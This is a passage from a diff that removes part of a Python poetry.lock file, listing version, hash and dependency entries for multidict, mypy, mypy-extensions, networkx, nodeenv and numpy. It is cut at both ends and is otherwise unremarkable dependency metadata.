"multidict-6.6.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0ffb87be160942d56d7b87b0fdf098e81ed565add09eaa1294268c7f3caac4c8"}, - {file = "multidict-6.6.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d191de6cbab2aff5de6c5723101705fd044b3e4c7cfd587a1929b5028b9714b3"}, - {file = "multidict-6.6.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:38a0956dd92d918ad5feff3db8fcb4a5eb7dba114da917e1a88475619781b57b"}, - {file = "multidict-6.6.4-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6865f6d3b7900ae020b495d599fcf3765653bc927951c1abb959017f81ae8287"}, - {file = "multidict-6.6.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0a2088c126b6f72db6c9212ad827d0ba088c01d951cee25e758c450da732c138"}, - {file = "multidict-6.6.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0f37bed7319b848097085d7d48116f545985db988e2256b2e6f00563a3416ee6"}, - {file = "multidict-6.6.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:01368e3c94032ba6ca0b78e7ccb099643466cf24f8dc8eefcfdc0571d56e58f9"}, - {file = "multidict-6.6.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8fe323540c255db0bffee79ad7f048c909f2ab0edb87a597e1c17da6a54e493c"}, - {file = "multidict-6.6.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8eb3025f17b0a4c3cd08cda49acf312a19ad6e8a4edd9dbd591e6506d999402"}, - {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bbc14f0365534d35a06970d6a83478b249752e922d662dc24d489af1aa0d1be7"}, - {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:75aa52fba2d96bf972e85451b99d8e19cc37ce26fd016f6d4aa60da9ab2b005f"}, - {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4fefd4a815e362d4f011919d97d7b4a1e566f1dde83dc4ad8cfb5b41de1df68d"}, - {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:db9801fe021f59a5b375ab778973127ca0ac52429a26e2fd86aa9508f4d26eb7"}, - {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:a650629970fa21ac1fb06ba25dabfc5b8a2054fcbf6ae97c758aa956b8dba802"}, - {file = "multidict-6.6.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:452ff5da78d4720d7516a3a2abd804957532dd69296cb77319c193e3ffb87e24"}, - {file = "multidict-6.6.4-cp312-cp312-win32.whl", hash = "sha256:8c2fcb12136530ed19572bbba61b407f655e3953ba669b96a35036a11a485793"}, - {file = "multidict-6.6.4-cp312-cp312-win_amd64.whl", hash = "sha256:047d9425860a8c9544fed1b9584f0c8bcd31bcde9568b047c5e567a1025ecd6e"}, - {file = "multidict-6.6.4-cp312-cp312-win_arm64.whl", hash = "sha256:14754eb72feaa1e8ae528468f24250dd997b8e2188c3d2f593f9eba259e4b364"}, - {file = "multidict-6.6.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f46a6e8597f9bd71b31cc708195d42b634c8527fecbcf93febf1052cacc1f16e"}, - {file = "multidict-6.6.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:22e38b2bc176c5eb9c0a0e379f9d188ae4cd8b28c0f53b52bce7ab0a9e534657"}, - {file = "multidict-6.6.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5df8afd26f162da59e218ac0eefaa01b01b2e6cd606cffa46608f699539246da"}, - {file = "multidict-6.6.4-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:49517449b58d043023720aa58e62b2f74ce9b28f740a0b5d33971149553d72aa"}, - {file = "multidict-6.6.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9408439537c5afdca05edd128a63f56a62680f4b3c234301055d7a2000220f"}, - {file = "multidict-6.6.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:87a32d20759dc52a9e850fe1061b6e41ab28e2998d44168a8a341b99ded1dba0"}, - {file = "multidict-6.6.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:52e3c8d43cdfff587ceedce9deb25e6ae77daba560b626e97a56ddcad3756879"}, - {file = "multidict-6.6.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ad8850921d3a8d8ff6fbef790e773cecfc260bbfa0566998980d3fa8f520bc4a"}, - {file = "multidict-6.6.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:497a2954adc25c08daff36f795077f63ad33e13f19bfff7736e72c785391534f"}, - {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:024ce601f92d780ca1617ad4be5ac15b501cc2414970ffa2bb2bbc2bd5a68fa5"}, - {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:a693fc5ed9bdd1c9e898013e0da4dcc640de7963a371c0bd458e50e046bf6438"}, - {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:190766dac95aab54cae5b152a56520fd99298f32a1266d66d27fdd1b5ac00f4e"}, - {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:34d8f2a5ffdceab9dcd97c7a016deb2308531d5f0fced2bb0c9e1df45b3363d7"}, - {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:59e8d40ab1f5a8597abcef00d04845155a5693b5da00d2c93dbe88f2050f2812"}, - {file = "multidict-6.6.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:467fe64138cfac771f0e949b938c2e1ada2b5af22f39692aa9258715e9ea613a"}, - {file = "multidict-6.6.4-cp313-cp313-win32.whl", hash = "sha256:14616a30fe6d0a48d0a48d1a633ab3b8bec4cf293aac65f32ed116f620adfd69"}, - {file = "multidict-6.6.4-cp313-cp313-win_amd64.whl", hash = "sha256:40cd05eaeb39e2bc8939451f033e57feaa2ac99e07dbca8afe2be450a4a3b6cf"}, - {file = "multidict-6.6.4-cp313-cp313-win_arm64.whl", hash = "sha256:f6eb37d511bfae9e13e82cb4d1af36b91150466f24d9b2b8a9785816deb16605"}, - {file = "multidict-6.6.4-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:6c84378acd4f37d1b507dfa0d459b449e2321b3ba5f2338f9b085cf7a7ba95eb"}, - {file = "multidict-6.6.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0e0558693063c75f3d952abf645c78f3c5dfdd825a41d8c4d8156fc0b0da6e7e"}, - {file = "multidict-6.6.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3f8e2384cb83ebd23fd07e9eada8ba64afc4c759cd94817433ab8c81ee4b403f"}, - {file = "multidict-6.6.4-cp313-cp313t-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:f996b87b420995a9174b2a7c1a8daf7db4750be6848b03eb5e639674f7963773"}, - {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc356250cffd6e78416cf5b40dc6a74f1edf3be8e834cf8862d9ed5265cf9b0e"}, - {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:dadf95aa862714ea468a49ad1e09fe00fcc9ec67d122f6596a8d40caf6cec7d0"}, - {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7dd57515bebffd8ebd714d101d4c434063322e4fe24042e90ced41f18b6d3395"}, - {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:967af5f238ebc2eb1da4e77af5492219fbd9b4b812347da39a7b5f5c72c0fa45"}, - {file = "multidict-6.6.4-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2a4c6875c37aae9794308ec43e3530e4aa0d36579ce38d89979bbf89582002bb"}, - {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:7f683a551e92bdb7fac545b9c6f9fa2aebdeefa61d607510b3533286fcab67f5"}, - {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:3ba5aaf600edaf2a868a391779f7a85d93bed147854925f34edd24cc70a3e141"}, - {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:580b643b7fd2c295d83cad90d78419081f53fd532d1f1eb67ceb7060f61cff0d"}, - {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:37b7187197da6af3ee0b044dbc9625afd0c885f2800815b228a0e70f9a7f473d"}, - {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:e1b93790ed0bc26feb72e2f08299691ceb6da5e9e14a0d13cc74f1869af327a0"}, - {file = "multidict-6.6.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:a506a77ddee1efcca81ecbeae27ade3e09cdf21a8ae854d766c2bb4f14053f92"}, - {file = "multidict-6.6.4-cp313-cp313t-win32.whl", hash = "sha256:f93b2b2279883d1d0a9e1bd01f312d6fc315c5e4c1f09e112e4736e2f650bc4e"}, - {file = "multidict-6.6.4-cp313-cp313t-win_amd64.whl", hash = "sha256:6d46a180acdf6e87cc41dc15d8f5c2986e1e8739dc25dbb7dac826731ef381a4"}, - {file = "multidict-6.6.4-cp313-cp313t-win_arm64.whl", hash = "sha256:756989334015e3335d087a27331659820d53ba432befdef6a718398b0a8493ad"}, - {file = "multidict-6.6.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:af7618b591bae552b40dbb6f93f5518328a949dac626ee75927bba1ecdeea9f4"}, - {file = "multidict-6.6.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b6819f83aef06f560cb15482d619d0e623ce9bf155115150a85ab11b8342a665"}, - {file = "multidict-6.6.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4d09384e75788861e046330308e7af54dd306aaf20eb760eb1d0de26b2bea2cb"}, - {file = "multidict-6.6.4-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:a59c63061f1a07b861c004e53869eb1211ffd1a4acbca330e3322efa6dd02978"}, - {file = "multidict-6.6.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:350f6b0fe1ced61e778037fdc7613f4051c8baf64b1ee19371b42a3acdb016a0"}, - {file = "multidict-6.6.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0c5cbac6b55ad69cb6aa17ee9343dfbba903118fd530348c330211dc7aa756d1"}, - {file = "multidict-6.6.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:630f70c32b8066ddfd920350bc236225814ad94dfa493fe1910ee17fe4365cbb"}, - {file = "multidict-6.6.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f8d4916a81697faec6cb724a273bd5457e4c6c43d82b29f9dc02c5542fd21fc9"}, - {file = "multidict-6.6.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e42332cf8276bb7645d310cdecca93a16920256a5b01bebf747365f86a1675b"}, - {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f3be27440f7644ab9a13a6fc86f09cdd90b347c3c5e30c6d6d860de822d7cb53"}, - {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:21f216669109e02ef3e2415ede07f4f8987f00de8cdfa0cc0b3440d42534f9f0"}, - {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:d9890d68c45d1aeac5178ded1d1cccf3bc8d7accf1f976f79bf63099fb16e4bd"}, - {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:edfdcae97cdc5d1a89477c436b61f472c4d40971774ac4729c613b4b133163cb"}, - {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:0b2e886624be5773e69cf32bcb8534aecdeb38943520b240fed3d5596a430f2f"}, - {file = "multidict-6.6.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:be5bf4b3224948032a845d12ab0f69f208293742df96dc14c4ff9b09e508fc17"}, - {file = "multidict-6.6.4-cp39-cp39-win32.whl", hash = "sha256:10a68a9191f284fe9d501fef4efe93226e74df92ce7a24e301371293bd4918ae"}, - {file = "multidict-6.6.4-cp39-cp39-win_amd64.whl", hash = "sha256:ee25f82f53262f9ac93bd7e58e47ea1bdcc3393cef815847e397cba17e284210"}, - {file = "multidict-6.6.4-cp39-cp39-win_arm64.whl", hash = "sha256:f9867e55590e0855bcec60d4f9a092b69476db64573c9fe17e92b0c50614c16a"}, - {file = "multidict-6.6.4-py3-none-any.whl", hash = "sha256:27d8f8e125c07cb954e54d75d04905a9bba8a439c1d84aca94949d4d03d8601c"}, - {file = "multidict-6.6.4.tar.gz", hash = "sha256:d2d4e4787672911b48350df02ed3fa3fffdc2f2e8ca06dd6afdf34189b76a9dd"}, -] - -[[package]] -name = "mypy" -version = "1.17.1" -description = "Optional static typing for Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "mypy-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3fbe6d5555bf608c47203baa3e72dbc6ec9965b3d7c318aa9a4ca76f465bd972"}, - {file = "mypy-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:80ef5c058b7bce08c83cac668158cb7edea692e458d21098c7d3bce35a5d43e7"}, - {file = "mypy-1.17.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c4a580f8a70c69e4a75587bd925d298434057fe2a428faaf927ffe6e4b9a98df"}, - {file = "mypy-1.17.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dd86bb649299f09d987a2eebb4d52d10603224500792e1bee18303bbcc1ce390"}, - {file = "mypy-1.17.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:a76906f26bd8d51ea9504966a9c25419f2e668f012e0bdf3da4ea1526c534d94"}, - {file = "mypy-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:e79311f2d904ccb59787477b7bd5d26f3347789c06fcd7656fa500875290264b"}, - {file = "mypy-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ad37544be07c5d7fba814eb370e006df58fed8ad1ef33ed1649cb1889ba6ff58"}, - {file = "mypy-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:064e2ff508e5464b4bd807a7c1625bc5047c5022b85c70f030680e18f37273a5"}, - {file = "mypy-1.17.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70401bbabd2fa1aa7c43bb358f54037baf0586f41e83b0ae67dd0534fc64edfd"}, - {file = "mypy-1.17.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e92bdc656b7757c438660f775f872a669b8ff374edc4d18277d86b63edba6b8b"}, - {file = "mypy-1.17.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c1fdf4abb29ed1cb091cf432979e162c208a5ac676ce35010373ff29247bcad5"}, - {file = "mypy-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:ff2933428516ab63f961644bc49bc4cbe42bbffb2cd3b71cc7277c07d16b1a8b"}, - {file = "mypy-1.17.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:69e83ea6553a3ba79c08c6e15dbd9bfa912ec1e493bf75489ef93beb65209aeb"}, - {file = "mypy-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1b16708a66d38abb1e6b5702f5c2c87e133289da36f6a1d15f6a5221085c6403"}, - {file = "mypy-1.17.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:89e972c0035e9e05823907ad5398c5a73b9f47a002b22359b177d40bdaee7056"}, - {file = "mypy-1.17.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03b6d0ed2b188e35ee6d5c36b5580cffd6da23319991c49ab5556c023ccf1341"}, - {file = "mypy-1.17.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c837b896b37cd103570d776bda106eabb8737aa6dd4f248451aecf53030cdbeb"}, - {file = "mypy-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:665afab0963a4b39dff7c1fa563cc8b11ecff7910206db4b2e64dd1ba25aed19"}, - {file = "mypy-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:93378d3203a5c0800c6b6d850ad2f19f7a3cdf1a3701d3416dbf128805c6a6a7"}, - {file = "mypy-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:15d54056f7fe7a826d897789f53dd6377ec2ea8ba6f776dc83c2902b899fee81"}, - {file = "mypy-1.17.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:209a58fed9987eccc20f2ca94afe7257a8f46eb5df1fb69958650973230f91e6"}, - {file = "mypy-1.17.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:099b9a5da47de9e2cb5165e581f158e854d9e19d2e96b6698c0d64de911dd849"}, - {file = "mypy-1.17.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ffadfbe6994d724c5a1bb6123a7d27dd68fc9c059561cd33b664a79578e14"}, - {file = "mypy-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:9a2b7d9180aed171f033c9f2fc6c204c1245cf60b0cb61cf2e7acc24eea78e0a"}, - {file = "mypy-1.17.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:15a83369400454c41ed3a118e0cc58bd8123921a602f385cb6d6ea5df050c733"}, - {file = "mypy-1.17.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:55b918670f692fc9fba55c3298d8a3beae295c5cded0a55dccdc5bbead814acd"}, - {file = "mypy-1.17.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:62761474061feef6f720149d7ba876122007ddc64adff5ba6f374fda35a018a0"}, - {file = "mypy-1.17.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c49562d3d908fd49ed0938e5423daed8d407774a479b595b143a3d7f87cdae6a"}, - {file = "mypy-1.17.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:397fba5d7616a5bc60b45c7ed204717eaddc38f826e3645402c426057ead9a91"}, - {file = "mypy-1.17.1-cp314-cp314-win_amd64.whl", hash = "sha256:9d6b20b97d373f41617bd0708fd46aa656059af57f2ef72aa8c7d6a2b73b74ed"}, - {file = "mypy-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5d1092694f166a7e56c805caaf794e0585cabdbf1df36911c414e4e9abb62ae9"}, - {file = "mypy-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:79d44f9bfb004941ebb0abe8eff6504223a9c1ac51ef967d1263c6572bbebc99"}, - {file = "mypy-1.17.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b01586eed696ec905e61bd2568f48740f7ac4a45b3a468e6423a03d3788a51a8"}, - {file = "mypy-1.17.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43808d9476c36b927fbcd0b0255ce75efe1b68a080154a38ae68a7e62de8f0f8"}, - {file = "mypy-1.17.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:feb8cc32d319edd5859da2cc084493b3e2ce5e49a946377663cc90f6c15fb259"}, - {file = "mypy-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d7598cf74c3e16539d4e2f0b8d8c318e00041553d83d4861f87c7a72e95ac24d"}, - {file = "mypy-1.17.1-py3-none-any.whl", hash = "sha256:a9f52c0351c21fe24c21d8c0eb1f62967b262d6729393397b6f443c3b773c3b9"}, - {file = "mypy-1.17.1.tar.gz", hash = "sha256:25e01ec741ab5bb3eec8ba9cdb0f769230368a22c959c4937360efb89b7e9f01"}, -] - -[package.dependencies] -mypy_extensions = ">=1.0.0" -pathspec = ">=0.9.0" -typing_extensions = ">=4.6.0" - -[package.extras] -dmypy = ["psutil (>=4.0)"] -faster-cache = ["orjson"] -install-types = ["pip"] -mypyc = ["setuptools (>=50)"] -reports = ["lxml"] - -[[package]] -name = "mypy-extensions" -version = "1.1.0" -description = "Type system extensions for programs checked with the mypy type checker." -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505"}, - {file = "mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558"}, -] - -[[package]] -name = "networkx" -version = "3.5" -description = "Python package for creating and manipulating graphs and networks" -optional = false -python-versions = ">=3.11" -groups = ["main"] -files = [ - {file = "networkx-3.5-py3-none-any.whl", hash = "sha256:0030d386a9a06dee3565298b4a734b68589749a544acbb6c412dc9e2489ec6ec"}, - {file = "networkx-3.5.tar.gz", hash = "sha256:d4c6f9cf81f52d69230866796b82afbccdec3db7ae4fbd1b65ea750feed50037"}, -] - -[package.extras] -default = ["matplotlib (>=3.8)", "numpy (>=1.25)", "pandas (>=2.0)", "scipy (>=1.11.2)"] -developer = ["mypy (>=1.15)", "pre-commit (>=4.1)"] -doc = ["intersphinx-registry", "myst-nb (>=1.1)", "numpydoc (>=1.8.0)", "pillow (>=10)", "pydata-sphinx-theme (>=0.16)", "sphinx (>=8.0)", "sphinx-gallery (>=0.18)", "texext (>=0.6.7)"] -example = ["cairocffi (>=1.7)", "contextily (>=1.6)", "igraph (>=0.11)", "momepy (>=0.7.2)", "osmnx (>=2.0.0)", "scikit-learn (>=1.5)", "seaborn (>=0.13)"] -extra = ["lxml (>=4.6)", "pydot (>=3.0.1)", "pygraphviz (>=1.14)", "sympy (>=1.10)"] -test = ["pytest (>=7.2)", "pytest-cov (>=4.0)", "pytest-xdist (>=3.0)"] -test-extras = ["pytest-mpl", "pytest-randomly"] - -[[package]] -name = "nodeenv" -version = "1.9.1" -description = "Node.js virtual environment builder" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["dev"] -files = [ - {file = "nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9"}, - {file = "nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f"}, -] - -[[package]] -name = "numpy" -version = "2.3.2" -description = "Fundamental package for array computing in Python" -optional = false -python-versions = ">=3.11" -groups = ["main"] -files = [ - {file = "numpy-2.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:852ae5bed3478b92f093e30f785c98e0cb62fa0a939ed057c31716e18a7a22b9"}, - {file = "numpy-2.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7a0e27186e781a69959d0230dd9909b5e26024f8da10683bd6344baea1885168"}, - {file = "numpy-2.3.2-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:f0a1a8476ad77a228e41619af2fa9505cf69df928e9aaa165746584ea17fed2b"}, - {file = "numpy-2.3.2-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:cbc95b3813920145032412f7e33d12080f11dc776262df1712e1638207dde9e8"}, - {file = "numpy-2.3.2-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f75018be4980a7324edc5930fe39aa391d5734531b1926968605416ff58c332d"}, - {file = "numpy-2.3.2-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:20b8200721840f5621b7bd03f8dcd78de33ec522fc40dc2641aa09537df010c3"}, - {file = "numpy-2.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1f91e5c028504660d606340a084db4b216567ded1056ea2b4be4f9d10b67197f"}, - {file = "numpy-2.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fb1752a3bb9a3ad2d6b090b88a9a0ae1cd6f004ef95f75825e2f382c183b2097"}, - {file = "numpy-2.3.2-cp311-cp311-win32.whl", hash = "sha256:4ae6863868aaee2f57503c7a5052b3a2807cf7a3914475e637a0ecd366ced220"}, - {file = "numpy-2.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:240259d6564f1c65424bcd10f435145a7644a65a6811cfc3201c4a429ba79170"}, - {file = "numpy-2.3.2-cp311-cp311-win_arm64.whl", hash = "sha256:4209f874d45f921bde2cff1ffcd8a3695f545ad2ffbef6d3d3c6768162efab89"}, - {file = "numpy-2.3.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bc3186bea41fae9d8e90c2b4fb5f0a1f5a690682da79b92574d63f56b529080b"}, - {file = "numpy-2.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2f4f0215edb189048a3c03bd5b19345bdfa7b45a7a6f72ae5945d2a28272727f"}, - {file = "numpy-2.3.2-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:8b1224a734cd509f70816455c3cffe13a4f599b1bf7130f913ba0e2c0b2006c0"}, - {file = "numpy-2.3.2-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:3dcf02866b977a38ba3ec10215220609ab9667378a9e2150615673f3ffd6c73b"}, - {file = "numpy-2.3.2-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:572d5512df5470f50ada8d1972c5f1082d9a0b7aa5944db8084077570cf98370"}, - {file = "numpy-2.3.2-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8145dd6d10df13c559d1e4314df29695613575183fa2e2d11fac4c208c8a1f73"}, - {file = "numpy-2.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:103ea7063fa624af04a791c39f97070bf93b96d7af7eb23530cd087dc8dbe9dc"}, - {file = "numpy-2.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fc927d7f289d14f5e037be917539620603294454130b6de200091e23d27dc9be"}, - {file = "numpy-2.3.2-cp312-cp312-win32.whl", hash = "sha256:d95f59afe7f808c103be692175008bab926b59309ade3e6d25009e9a171f7036"}, - {file = "numpy-2.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:9e196ade2400c0c737d93465327d1ae7c06c7cb8a1756121ebf54b06ca183c7f"}, - {file = "numpy-2.3.2-cp312-cp312-win_arm64.whl", hash = "sha256:ee807923782faaf60d0d7331f5e86da7d5e3079e28b291973c545476c2b00d07"}, - {file = "numpy-2.3.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c8d9727f5316a256425892b043736d63e89ed15bbfe6556c5ff4d9d4448ff3b3"}, - {file = "numpy-2.3.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:efc81393f25f14d11c9d161e46e6ee348637c0a1e8a54bf9dedc472a3fae993b"}, - {file = "numpy-2.3.2-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:dd937f088a2df683cbb79dda9a772b62a3e5a8a7e76690612c2737f38c6ef1b6"}, - {file = "numpy-2.3.2-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:11e58218c0c46c80509186e460d79fbdc9ca1eb8d8aee39d8f2dc768eb781089"}, - {file = 